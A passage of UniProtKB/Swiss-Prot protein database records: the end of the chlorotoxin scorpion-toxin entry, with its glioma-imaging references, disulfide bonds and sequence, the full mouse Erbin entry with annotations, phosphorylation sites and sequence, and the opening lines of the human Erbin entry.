RA Hackman R.C., Ravanpay A.C., Stroud M.R., Kusuma Y., Hansen S.J.,
RA Kwok D., Munoz N.M., Sze R.W., Grady W.M., Greenberg N.M.,
RA Ellenbogen R.G., Olson J.M.;
RT "Tumor paint: a chlorotoxin:Cy5.5 bioconjugate for intraoperative
RT visualization of cancer foci.";
RL Cancer Res. 67:6882-6888(2007).
RN [5]
RP PHARMACEUTICAL.
RX PubMed=9809993;
RA Soroceanu L., Gillespie Y., Khazaeli M.B., Sontheimer H.;
RT "Use of chlorotoxin for targeting of primary brain tumors.";
RL Cancer Res. 58:4871-4879(1998).
RN [6]
RP PHARMACEUTICAL.
RX PubMed=16877732; DOI=10.1200/JCO.2005.05.4569;
RA Mamelak A.N., Rosenfeld S., Bucholz R., Raubitschek A., Nabors L.B.,
RA Fiveash J.B., Shen S., Khazaeli M.B., Colcher D., Liu A., Osman M.,
RA Guthrie B., Schade-Bijur S., Hablitz D.M., Alvarez V.L., Gonda M.A.;
RT "Phase I single-dose study of intracavitary-administered iodine-131-
RT TM-601 in adults with recurrent high-grade glioma.";
RL J. Clin. Oncol. 24:3644-3650(2006).
RN [7]
RP STRUCTURE BY NMR, AND DISULFIDE BONDS.
RX PubMed=7819188; DOI=10.1021/bi00001a003;
RA Lippens G., Najib J., Wodak S.J., Tartar A.;
RT "NMR sequential assignments and solution structure of chlorotoxin, a
RT small scorpion toxin that blocks chloride channels.";
RL Biochemistry 34:13-21(1995).
CC -!- FUNCTION: This toxin binds to the surface of glioma cells, and
CC inhibits their proliferation without having effects on normal
CC brain cells. In this context, this toxin has been described as a
CC chloride channel inhibitor (probably ClC-3/CLCN3) by causing its
CC internalization via caveolae (PubMed:16520829). It has also been
CC described to selectively interact with MMP2 (in complex with MT1-
CC MMP (MMP14) and TIMP2), to inhibit its enzymatic activity and to
CC decrease its presence at the cell surface (PubMed:12454020).
CC {ECO:0000269|PubMed:12454020, ECO:0000269|PubMed:16520829,
CC ECO:0000269|PubMed:8383429}.
CC -!- SUBCELLULAR LOCATION: Secreted.
CC -!- TISSUE SPECIFICITY: Expressed by the venom gland.
CC -!- DOMAIN: The presence of a 'disulfide through disulfide knot'
CC structurally defines this protein as a knottin.
CC -!- BIOTECHNOLOGY: When bioconjugated with the fluorescent molecular
CC beacon Cy5.5, might be used as an optical imaging contrast agent
CC to enable surgeons to intraoperatively distinguish cancer foci
CC from adjacent normal tissue. {ECO:0000269|PubMed:17638899}.
CC -!- PHARMACEUTICAL: Is under phase II clinical trial by Sinai Medical
CC Center and TransMolecular under the name TM-601. It crosses blood-
CC brain and tissue barriers and binds to malignant brain tumor cells
CC without affecting healthy tissue. Radioiodinated TM-601 is used to
CC treat malignant glioma.
CC -!- MISCELLANEOUS: Does not interact with MMP-1, MMP-3 and MMP-9.
CC {ECO:0000305|PubMed:12454020}.
CC -!- SIMILARITY: Belongs to the short scorpion toxin superfamily.
CC Chloride channel inhibitor family. {ECO:0000255|PROSITE-
CC ProRule:PRU00545}.
CC -!- WEB RESOURCE: Name=Wikipedia; Note=Chlorotoxin entry;
CC URL="https://en.wikipedia.org/wiki/Chlorotoxin";
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
CC -----------------------------------------------------------------------
DR PIR; A48850; A48850.
DR PDB; 1CHL; NMR; -; A=1-36.
DR PDBsum; 1CHL; -.
DR ProteinModelPortal; P45639; -.
DR SMR; P45639; 1-36.
DR EvolutionaryTrace; P45639; -.
DR GO; GO:0005576; C:extracellular region; IEA:UniProtKB-SubCell.
DR GO; GO:0008191; F:metalloendopeptidase inhibitor activity; IEA:UniProtKB-KW.
DR GO; GO:0006952; P:defense response; IEA:InterPro.
DR GO; GO:0009405; P:pathogenesis; IEA:InterPro.
DR InterPro; IPR003614; Scorpion_toxin-like.
DR InterPro; IPR007958; Scorpion_toxinS_Cl_inh.
DR Pfam; PF05294; Toxin_5; 1.
DR SUPFAM; SSF57095; SSF57095; 1.
DR PROSITE; PS51200; SHORT_SCORPION_CHLORIDE; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Chloride channel impairing toxin;
KW Direct protein sequencing; Disulfide bond;
KW Ion channel impairing toxin; Knottin; Metalloenzyme inhibitor;
KW Metalloprotease inhibitor; Neurotoxin; Pharmaceutical;
KW Protease inhibitor; Secreted; Toxin;
KW Voltage-gated chloride channel impairing toxin.
FT PEPTIDE 1 36 Chlorotoxin.
FT /FTId=PRO_0000044941.
FT DISULFID 2 19 {ECO:0000255|PROSITE-ProRule:PRU00545,
FT ECO:0000269|PubMed:7819188}.
FT DISULFID 5 28 {ECO:0000255|PROSITE-ProRule:PRU00545,
FT ECO:0000269|PubMed:7819188}.
FT DISULFID 16 33 {ECO:0000255|PROSITE-ProRule:PRU00545,
FT ECO:0000269|PubMed:7819188}.
FT DISULFID 20 35 {ECO:0000255|PROSITE-ProRule:PRU00545,
FT ECO:0000269|PubMed:7819188}.
FT STRAND 9 12 {ECO:0000244|PDB:1CHL}.
FT HELIX 13 20 {ECO:0000244|PDB:1CHL}.
FT STRAND 22 25 {ECO:0000244|PDB:1CHL}.
FT STRAND 27 29 {ECO:0000244|PDB:1CHL}.
FT STRAND 32 34 {ECO:0000244|PDB:1CHL}.
SQ SEQUENCE 36 AA; 4005 MW; 14A9F57559C6E92A CRC64;
MCMPCFTTDH QMARKCDDCC GGKGRGKCYG PQCLCR
//
ID ERBIN_MOUSE Reviewed; 1402 AA.
AC Q80TH2; E9QND6; Q8BQ14; Q8CE41; Q8K171; Q99JU3; Q9JI47;
DT 19-JUL-2004, integrated into UniProtKB/Swiss-Prot.
DT 27-JUL-2011, sequence version 3.
DT 07-SEP-2016, entry version 136.
DE RecName: Full=Erbin {ECO:0000303|PubMed:10878805};
DE AltName: Full=Densin-180-like protein;
DE AltName: Full=Erbb2-interacting protein {ECO:0000303|PubMed:10878805};
DE AltName: Full=Protein LAP2;
GN Name=Erbin {ECO:0000303|PubMed:10878805};
GN Synonyms=Erbb2ip {ECO:0000312|MGI:MGI:1890169},
GN Kiaa1225 {ECO:0000312|EMBL:BAC65755.1}, Lap2;
OS Mus musculus (Mouse).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Mus; Mus.
OX NCBI_TaxID=10090;
RN [1]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 1).
RC TISSUE=Brain;
RX PubMed=12693553; DOI=10.1093/dnares/10.1.35;
RA Okazaki N., Kikuno R., Ohara R., Inamoto S., Aizawa H., Yuasa S.,
RA Nakajima D., Nagase T., Ohara O., Koga H.;
RT "Prediction of the coding sequences of mouse homologues of KIAA gene:
RT II. The complete nucleotide sequences of 400 mouse KIAA-homologous
RT cDNAs identified by screening of terminal sequences of cDNA clones
RT randomly sampled from size-fractionated libraries.";
RL DNA Res. 10:35-48(2003).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=C57BL/6J;
RX PubMed=19468303; DOI=10.1371/journal.pbio.1000112;
RA Church D.M., Goodstadt L., Hillier L.W., Zody M.C., Goldstein S.,
RA She X., Bult C.J., Agarwala R., Cherry J.L., DiCuccio M., Hlavina W.,
RA Kapustin Y., Meric P., Maglott D., Birtle Z., Marques A.C., Graves T.,
RA Zhou S., Teague B., Potamousis K., Churas C., Place M., Herschleb J.,
RA Runnheim R., Forrest D., Amos-Landgraf J., Schwartz D.C., Cheng Z.,
RA Lindblad-Toh K., Eichler E.E., Ponting C.P.;
RT "Lineage-specific biology revealed by a finished genome assembly of
RT the mouse.";
RL PLoS Biol. 7:E1000112-E1000112(2009).
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] OF 308-1376 (ISOFORMS 2 AND 3).
RC STRAIN=C57BL/6J; TISSUE=Skin, and Spinal ganglion;
RX PubMed=16141072; DOI=10.1126/science.1112014;
RA Carninci P., Kasukawa T., Katayama S., Gough J., Frith M.C., Maeda N.,
RA Oyama R., Ravasi T., Lenhard B., Wells C., Kodzius R., Shimokawa K.,
RA Bajic V.B., Brenner S.E., Batalov S., Forrest A.R., Zavolan M.,
RA Davis M.J., Wilming L.G., Aidinis V., Allen J.E.,
RA Ambesi-Impiombato A., Apweiler R., Aturaliya R.N., Bailey T.L.,
RA Bansal M., Baxter L., Beisel K.W., Bersano T., Bono H., Chalk A.M.,
RA Chiu K.P., Choudhary V., Christoffels A., Clutterbuck D.R.,
RA Crowe M.L., Dalla E., Dalrymple B.P., de Bono B., Della Gatta G.,
RA di Bernardo D., Down T., Engstrom P., Fagiolini M., Faulkner G.,
RA Fletcher C.F., Fukushima T., Furuno M., Futaki S., Gariboldi M.,
RA Georgii-Hemming P., Gingeras T.R., Gojobori T., Green R.E.,
RA Gustincich S., Harbers M., Hayashi Y., Hensch T.K., Hirokawa N.,
RA Hill D., Huminiecki L., Iacono M., Ikeo K., Iwama A., Ishikawa T.,
RA Jakt M., Kanapin A., Katoh M., Kawasawa Y., Kelso J., Kitamura H.,
RA Kitano H., Kollias G., Krishnan S.P., Kruger A., Kummerfeld S.K.,
RA Kurochkin I.V., Lareau L.F., Lazarevic D., Lipovich L., Liu J.,
RA Liuni S., McWilliam S., Madan Babu M., Madera M., Marchionni L.,
RA Matsuda H., Matsuzawa S., Miki H., Mignone F., Miyake S., Morris K.,
RA Mottagui-Tabar S., Mulder N., Nakano N., Nakauchi H., Ng P.,
RA Nilsson R., Nishiguchi S., Nishikawa S., Nori F., Ohara O.,
RA Okazaki Y., Orlando V., Pang K.C., Pavan W.J., Pavesi G., Pesole G.,
RA Petrovsky N., Piazza S., Reed J., Reid J.F., Ring B.Z., Ringwald M.,
RA Rost B., Ruan Y., Salzberg S.L., Sandelin A., Schneider C.,
RA Schoenbach C., Sekiguchi K., Semple C.A., Seno S., Sessa L., Sheng Y.,
RA Shibata Y., Shimada H., Shimada K., Silva D., Sinclair B.,
RA Sperling S., Stupka E., Sugiura K., Sultana R., Takenaka Y., Taki K.,
RA Tammoja K., Tan S.L., Tang S., Taylor M.S., Tegner J., Teichmann S.A.,
RA Ueda H.R., van Nimwegen E., Verardo R., Wei C.L., Yagi K.,
RA Yamanishi H., Zabarovsky E., Zhu S., Zimmer A., Hide W., Bult C.,
RA Grimmond S.M., Teasdale R.D., Liu E.T., Brusic V., Quackenbush J.,
RA Wahlestedt C., Mattick J.S., Hume D.A., Kai C., Sasaki D., Tomaru Y.,
RA Fukuda S., Kanamori-Katayama M., Suzuki M., Aoki J., Arakawa T.,
RA Iida J., Imamura K., Itoh M., Kato T., Kawaji H., Kawagashira N.,
RA Kawashima T., Kojima M., Kondo S., Konno H., Nakano K., Ninomiya N.,
RA Nishio T., Okada M., Plessy C., Shibata K., Shiraki T., Suzuki S.,
RA Tagami M., Waki K., Watahiki A., Okamura-Oho Y., Suzuki H., Kawai J.,
RA Hayashizaki Y.;
RT "The transcriptional landscape of the mammalian genome.";
RL Science 309:1559-1563(2005).
RN [4]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] OF 721-1402 (ISOFORM 2), AND
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] OF 1160-1402 (ISOFORM 1).
RC TISSUE=Colon, and Mammary tumor;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [5]
RP NUCLEOTIDE SEQUENCE [MRNA] OF 908-1402 (ISOFORM 3).
RX PubMed=10878805; DOI=10.1038/35017038;
RA Borg J.-P., Marchetto S., Le Bivic A., Ollendorff V.,
RA Jaulin-Bastard F., Saito H., Fournier E., Adelaide J., Margolis B.,
RA Birnbaum D.;
RT "ERBIN: a basolateral PDZ protein that interacts with the mammalian
RT ERBB2/HER2 receptor.";
RL Nat. Cell Biol. 2:407-414(2000).
RN [6]
RP FUNCTION, INTERACTION WITH NOD2, SUBCELLULAR LOCATION, AND MUTAGENESIS
RP OF PRO-315.
RX PubMed=16203728; DOI=10.1074/jbc.M508538200;
RA McDonald C., Chen F.F., Ollendorff V., Ogura Y., Marchetto S.,
RA Lecine P., Borg J.P., Nunez G.;
RT "A role for Erbin in the regulation of Nod2-dependent NF-kappaB
RT signaling.";
RL J. Biol. Chem. 280:40301-40309(2005).
RN [7]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT TYR-1097, AND IDENTIFICATION
RP BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Mast cell;
RX PubMed=17947660; DOI=10.4049/jimmunol.179.9.5864;
RA Cao L., Yu K., Banh C., Nguyen V., Ritz A., Raphael B.J., Kawakami Y.,
RA Kawakami T., Salomon A.R.;
RT "Quantitative time-resolved phosphoproteomic analysis of mast cell
RT signaling.";
RL J. Immunol. 179:5864-5876(2007).
RN [8]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-599 AND SER-600, AND
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Liver;
RX PubMed=17242355; DOI=10.1073/pnas.0609836104;
RA Villen J., Beausoleil S.A., Gerber S.A., Gygi S.P.;
RT "Large-scale phosphorylation analysis of mouse liver.";
RL Proc. Natl. Acad. Sci. U.S.A. 104:1488-1493(2007).
RN [9]
RP SUBCELLULAR LOCATION.
RX PubMed=18802028; DOI=10.1161/CIRCRESAHA.108.176024;
RA Wright C.D., Chen Q., Baye N.L., Huang Y., Healy C.L., Kasinathan S.,
RA O'Connell T.D.;
RT "Nuclear alpha1-adrenergic receptors signal activated ERK localization
RT to caveolae in adult cardiac myocytes.";
RL Circ. Res. 103:992-1000(2008).
RN [10]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-599; SER-600; SER-712
RP AND SER-854, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RX PubMed=19144319; DOI=10.1016/j.immuni.2008.11.006;
RA Trost M., English L., Lemieux S., Courcelles M., Desjardins M.,
RA Thibault P.;
RT "The phagosomal proteome in interferon-gamma-activated macrophages.";
RL Immunity 30:143-154(2009).
RN [11]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Embryonic fibroblast;
RX PubMed=19131326; DOI=10.1074/mcp.M800451-MCP200;
RA Sweet S.M., Bailey C.M., Cunningham D.L., Heath J.K., Cooper H.J.;
RT "Large scale localization of protein phosphorylation by use of
RT electron capture dissociation mass spectrometry.";
RL Mol. Cell. Proteomics 8:904-912(2009).
RN [12]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-440; SER-444; TYR-483;
RP SER-595; SER-599; SER-600; SER-712; SER-849; SER-869 AND SER-1150,
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-1231 AND SER-1234
RP (ISOFORM 2), AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Brain, Brown adipose tissue, Heart, Kidney, Liver, Lung,
RC Pancreas, and Spleen;
RX PubMed=21183079; DOI=10.1016/j.cell.2010.12.001;
RA Huttlin E.L., Jedrychowski M.P., Elias J.E., Goswami T., Rad R.,
RA Beausoleil S.A., Villen J., Haas W., Sowa M.E., Gygi S.P.;
RT "A tissue-specific atlas of mouse protein phosphorylation and
RT expression.";
RL Cell 143:1174-1189(2010).
CC -!- FUNCTION: Acts as an adapter for the receptor ERBB2, in epithelia.
CC By binding the unphosphorylated ERBB2 'Tyr-1248' receptor, it may
CC contribute to stabilize this unphosphorylated state (By
CC similarity). Inhibits NOD2-dependent NF-kappa-B signaling and
CC proinflammatory cytokine secretion (PubMed:16203728).
CC {ECO:0000250|UniProtKB:Q96RT1, ECO:0000269|PubMed:16203728}.
CC -!- SUBUNIT: Interacts with ERBB2, BPAG1 and ITGB4. May favor the
CC localization of ERBB2, by restricting its presence to the
CC basolateral membrane of epithelial cells. Also found to interact
CC with ARVCF and delta catenin. Interacts (via C-terminus) with DST
CC (via N-terminus) (By similarity). Interacts with NOD2 (via CARD
CC domain) (PubMed:16203728). {ECO:0000250|UniProtKB:Q96RT1,
CC ECO:0000269|PubMed:16203728}.
CC -!- SUBCELLULAR LOCATION: Cell junction, hemidesmosome
CC {ECO:0000250|UniProtKB:Q96RT1}. Nucleus membrane
CC {ECO:0000269|PubMed:18802028}. Basolateral cell membrane
CC {ECO:0000269|PubMed:16203728}. Note=Found in hemidesmosomes, which
CC are cell-substrate adhesion complexes in stratified epithelia. In
CC transfected cells, either diffusely distributed over the cytoplasm
CC or concentrated at the basolateral membrane (By similarity).
CC Colocalizes with the adrenergic receptors, ADREN1A and ADREN1B, at
CC the nuclear membrane of cardiac myocytes.
CC {ECO:0000250|UniProtKB:Q96RT1}.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative splicing; Named isoforms=3;
CC Name=3;
CC IsoId=Q80TH2-3; Sequence=Displayed;
CC Name=1;
CC IsoId=Q80TH2-1; Sequence=VSP_010809;
CC Name=2;
CC IsoId=Q80TH2-2; Sequence=VSP_010808;
CC Note=Contains a phosphoserine at position 1231. Contains a
CC phosphoserine at position 1234. {ECO:0000244|PubMed:21183079};
CC -!- PTM: Isoform 2 is phosphorylated on Ser-1231 and Ser-1234.
CC -!- SIMILARITY: Belongs to the LAP (LRR and PDZ) protein family.
CC {ECO:0000305}.
CC -!- SIMILARITY: Contains 17 LRR (leucine-rich) repeats. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 PDZ (DHR) domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00143}.
CC -!- SEQUENCE CAUTION:
CC Sequence=BAC65755.1; Type=Erroneous initiation; Note=Translation N-terminally shortened.; Evidence={ECO:0000305};
CC -----------------------------------------------------------------------
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DR EMBL; AK122473; BAC65755.1; ALT_INIT; mRNA.
DR EMBL; AC154310; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; CT009728; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; AK029054; BAC26267.1; -; mRNA.
DR EMBL; AK051733; BAC34742.1; -; mRNA.
DR EMBL; BC005691; AAH05691.3; -; mRNA.
DR EMBL; BC028256; AAH28256.1; -; mRNA.
DR EMBL; AF263743; AAF77047.1; -; mRNA.
DR CCDS; CCDS26744.1; -. [Q80TH2-2]
DR CCDS; CCDS79233.1; -. [Q80TH2-3]
DR RefSeq; NP_001005868.1; NM_001005868.2. [Q80TH2-2]
DR RefSeq; NP_001276402.1; NM_001289473.1. [Q80TH2-3]
DR RefSeq; NP_001276403.1; NM_001289474.1.
DR RefSeq; NP_001276404.1; NM_001289475.1.
DR UniGene; Mm.277354; -.
DR ProteinModelPortal; Q80TH2; -.
DR SMR; Q80TH2; 1304-1402.
DR BioGrid; 208523; 2.
DR IntAct; Q80TH2; 2.
DR MINT; MINT-138078; -.
DR STRING; 10090.ENSMUSP00000057956; -.
DR iPTMnet; Q80TH2; -.
DR PhosphoSite; Q80TH2; -.
DR SwissPalm; Q80TH2; -.
DR MaxQB; Q80TH2; -.
DR PaxDb; Q80TH2; -.
DR PRIDE; Q80TH2; -.
DR Ensembl; ENSMUST00000022222; ENSMUSP00000022222; ENSMUSG00000021709. [Q80TH2-1]
DR Ensembl; ENSMUST00000053927; ENSMUSP00000057956; ENSMUSG00000021709. [Q80TH2-1]
DR Ensembl; ENSMUST00000091269; ENSMUSP00000088813; ENSMUSG00000021709. [Q80TH2-3]
DR Ensembl; ENSMUST00000191275; ENSMUSP00000140536; ENSMUSG00000021709. [Q80TH2-2]
DR GeneID; 59079; -.
DR KEGG; mmu:59079; -.
DR UCSC; uc007rsk.3; mouse. [Q80TH2-3]
DR UCSC; uc056yux.1; mouse. [Q80TH2-1]
DR CTD; 59079; -.
DR MGI; MGI:1890169; Erbb2ip.
DR eggNOG; ENOG410KCZ0; Eukaryota.
DR eggNOG; COG4886; LUCA.
DR GeneTree; ENSGT00840000129686; -.
DR HOVERGEN; HBG052305; -.
DR InParanoid; Q80TH2; -.
DR KO; K12796; -.
DR OMA; KNMVKTV; -.
DR TreeFam; TF351429; -.
DR Reactome; R-MMU-1227986; Signaling by ERBB2.
DR PRO; PR:Q80TH2; -.
DR Proteomes; UP000000589; Chromosome 13.
DR Bgee; ENSMUSG00000021709; -.
DR CleanEx; MM_ERBB2IP; -.
DR ExpressionAtlas; Q80TH2; baseline and differential.
DR Genevisible; Q80TH2; MM.
DR GO; GO:0016323; C:basolateral plasma membrane; IDA:MGI.
DR GO; GO:0030054; C:cell junction; ISO:MGI.
DR GO; GO:0005737; C:cytoplasm; ISO:MGI.
DR GO; GO:0030056; C:hemidesmosome; ISO:MGI.
DR GO; GO:0031965; C:nuclear membrane; IEA:UniProtKB-SubCell.
DR GO; GO:0005654; C:nucleoplasm; ISO:MGI.
DR GO; GO:0005634; C:nucleus; ISO:MGI.
DR GO; GO:0005886; C:plasma membrane; ISO:MGI.
DR GO; GO:0005178; F:integrin binding; ISO:MGI.
DR GO; GO:0005102; F:receptor binding; ISO:MGI.
DR GO; GO:0071356; P:cellular response to tumor necrosis factor; ISO:MGI.
DR GO; GO:0071638; P:negative regulation of monocyte chemotactic protein-1 production; IMP:UniProtKB.
DR GO; GO:0032088; P:negative regulation of NF-kappaB transcription factor activity; ISO:MGI.
DR GO; GO:0070433; P:negative regulation of nucleotide-binding oligomerization domain containing 2 signaling pathway; IMP:UniProtKB.
DR GO; GO:0006605; P:protein targeting; IDA:MGI.
DR GO; GO:0032496; P:response to lipopolysaccharide; ISO:MGI.
DR GO; GO:0032495; P:response to muramyl dipeptide; ISO:MGI.
DR GO; GO:0007165; P:signal transduction; IEA:InterPro.
DR Gene3D; 2.30.42.10; -; 1.
DR Gene3D; 3.80.10.10; -; 3.
DR InterPro; IPR032675; L_dom-like.
DR InterPro; IPR032927; LAP2.
DR InterPro; IPR001611; Leu-rich_rpt.
DR InterPro; IPR003591; Leu-rich_rpt_typical-subtyp.
DR InterPro; IPR001478; PDZ.
DR PANTHER; PTHR23155:SF421; PTHR23155:SF421; 1.
DR Pfam; PF13855; LRR_8; 4.
DR Pfam; PF00595; PDZ; 1.
DR SMART; SM00369; LRR_TYP; 12.
DR SMART; SM00228; PDZ; 1.
DR SUPFAM; SSF50156; SSF50156; 1.
DR SUPFAM; SSF52058; SSF52058; 2.
DR PROSITE; PS51450; LRR; 13.
DR PROSITE; PS50106; PDZ; 1.
PE 1: Evidence at protein level;
KW Alternative splicing; Cell junction; Cell membrane; Complete proteome;
KW Leucine-rich repeat; Membrane; Nucleus; Phosphoprotein;
KW Reference proteome; Repeat.
FT CHAIN 1 1402 Erbin.
FT /FTId=PRO_0000188302.
FT REPEAT 23 44 LRR 1.
FT REPEAT 47 68 LRR 2.
FT REPEAT 70 91 LRR 3.
FT REPEAT 93 114 LRR 4.
FT REPEAT 116 137 LRR 5.
FT REPEAT 139 161 LRR 6.
FT REPEAT 162 183 LRR 7.
FT REPEAT 185 206 LRR 8.
FT REPEAT 208 229 LRR 9.
FT REPEAT 231 252 LRR 10.
FT REPEAT 254 275 LRR 11.
FT REPEAT 277 298 LRR 12.
FT REPEAT 300 321 LRR 13.
FT REPEAT 323 344 LRR 14.
FT REPEAT 346 367 LRR 15.
FT REPEAT 369 391 LRR 16.
FT REPEAT 392 413 LRR 17.
FT DOMAIN 1311 1400 PDZ. {ECO:0000255|PROSITE-
FT ProRule:PRU00143}.
FT COMPBIAS 928 931 Poly-Ser.
FT MOD_RES 440 440 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 444 444 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 483 483 Phosphotyrosine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 485 485 Phosphothreonine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 595 595 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 599 599 Phosphoserine.
FT {ECO:0000244|PubMed:17242355,
FT ECO:0000244|PubMed:19144319,
FT ECO:0000244|PubMed:21183079}.
FT MOD_RES 600 600 Phosphoserine.
FT {ECO:0000244|PubMed:17242355,
FT ECO:0000244|PubMed:19144319,
FT ECO:0000244|PubMed:21183079}.
FT MOD_RES 617 617 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 712 712 Phosphoserine.
FT {ECO:0000244|PubMed:19144319,
FT ECO:0000244|PubMed:21183079}.
FT MOD_RES 849 849 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 854 854 Phosphoserine.
FT {ECO:0000244|PubMed:19144319}.
FT MOD_RES 869 869 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 914 914 Phosphothreonine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 917 917 Phosphotyrosine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 928 928 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 970 970 Phosphotyrosine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 1097 1097 Phosphotyrosine.
FT {ECO:0000244|PubMed:17947660}.
FT MOD_RES 1150 1150 Phosphoserine.
FT {ECO:0000244|PubMed:21183079}.
FT MOD_RES 1171 1171 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT MOD_RES 1276 1276 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q96RT1}.
FT VAR_SEQ 1203 1203 K -> KSMLSRSFNSNLTAVSSSHYGSSRDLHGSQGSLALS
FT VADGRGSGGHIFR (in isoform 2).
FT {ECO:0000303|PubMed:15489334,
FT ECO:0000303|PubMed:16141072}.
FT /FTId=VSP_010808.
FT VAR_SEQ 1243 1268 Missing (in isoform 1).
FT {ECO:0000303|PubMed:12693553,
FT ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_010809.
FT MUTAGEN 315 315 P->L: Decreases interaction with NOD2.
FT {ECO:0000269|PubMed:16203728}.
FT CONFLICT 255 255 L -> P (in Ref. 1; BAC65755).
FT {ECO:0000305}.
FT CONFLICT 721 723 DKK -> HAS (in Ref. 4; AAH28256).
FT {ECO:0000305}.
FT CONFLICT 908 910 VRS -> ASG (in Ref. 5; AAF77047).
FT {ECO:0000305}.
SQ SEQUENCE 1402 AA; 157248 MW; DBAFF4BD1BC48019 CRC64;
MTTKRSLFVR LVPCRCLRGE EETVTTLDYS HCSLEQVPKE IFTFEKTLEE LYLDANQIEE
LPKQLFNCQS LHKLSLPDND LTTLPASIAN LINLRELDVS KNGIQEFPEN IKNCKVLTIV
EASVNPISKL PDGFSQLLNL TQLYLNDAFL EFLPANFGRL TKLQILELRE NQLKMLPKTM
NRLTQLERLD LGSNEFTEVP EVLEQLSGLR EFWMDGNRLT FIPGFIGSLR QLTYLDVSKN
NIEMVEEGIS TCENLQDFLL SSNSLQQLPE TIGSLKNVTT LKIDENQLMY LPDSIGGLRS
IEELDCSFNE IEALPSSIGQ LTNMRTFAAD HNYLQQLPPE IGNWKNITVL FLHCNKLETL
PEEMGDMQKL KVINLSDNRL KNLPFSFTKL QQLTAMWLSD NQSKPLIPLQ KETDTETQKM
VLTNYMFPQQ PRTEDVMFIS DNESFNPALW EEQRKQRAQV AFECDEDKDE REAPPREGNL
KRYPTPYPDE LKNMVKTVQT IVHRLKDEET NEESGRDLKQ HEDQQVVNKD KCVKTSESTT
TKSKLDEREK YMNSVQKMSE PEAETNGGNL PVTASMKLSG NLKHIVNHDD VFEESEELSS
DEEMKMAEMR PPLIESSINQ PKVVALSNNK KDDAKDADSL SDEVTHNSNQ NNSNCSSPSR
MSDSVSLNTD SSQDTSLCSP VKQTPVDSNS KVRQEDENFN SLLQNGVNLN NSPEEKFKIN
DKKDFKLPEY DLNIEEQLVL IEKDIDSKAT SDDSRQLDHI NMNINKLVTN NIFQPEVMER
SKMQDIVLGT GFLSIHPKNE AEHIENGAKF PNLESINKVN GLCEDTAPSP GRVEPQKASS
SADVGISKST EDLSPQRSGP TGAVVKSHSI TNMETGGLKI YDILGDDGPQ PPSAAVKIAS
AVDGKNIVRS KSATLLYDQP LQVFTAASSS SELLSGTKAV FKFDSNHNPE EPDIIRAATV
SGPQSTPHLY GPPQYNVQYS GSATVKDTLW HPKQNPQIDP VSFPPQRLPR SESAENHSYA
KHSANMNFSN HNNVRANTGY HLQQRLAPAR HGEMWAISPN DRLVPAVTRT TIQRQSSVSS
TASVNLGDPT RRTEGDYLSY RELHSMGRTP VMSGSQRPLS ARAYSIDGPN TSRPQSARPS
INEIPERTMS VSDFNYSRTS PSKRPNTRVG SEHSLLDPPG KSKVPHDWRE QVLRHIEAKK
LEKHPQTSSP GECCQDDRFM SEEQNHPSGA LSHRGLPDSL MKMPLSNGQM GQPLRPQAHY
SQTHHPPQAS VARHPSREQL IDYLMLKVAH QPPYTHPHCS PRQGHELAKQ EIRVRVEKDP
ELGFSISGGV GGRGNPFRPD DDGIFVTRVQ PEGPASKLLQ PGDKIIQANG YSFINIEHGQ
AVSLLKTFHN AVDLIIVREV SS
//
ID ERBIN_HUMAN Reviewed; 1412 AA.
AC Q96RT1; A0AVR1; B4E3F1; B7ZLV9; E7EQW9; E9PCR8; Q1RMD0; Q86W38;
AC Q9NR18; Q9NW48; Q9ULJ5;
DT 19-JUL-2004, integrated into UniProtKB/Swiss-Prot.
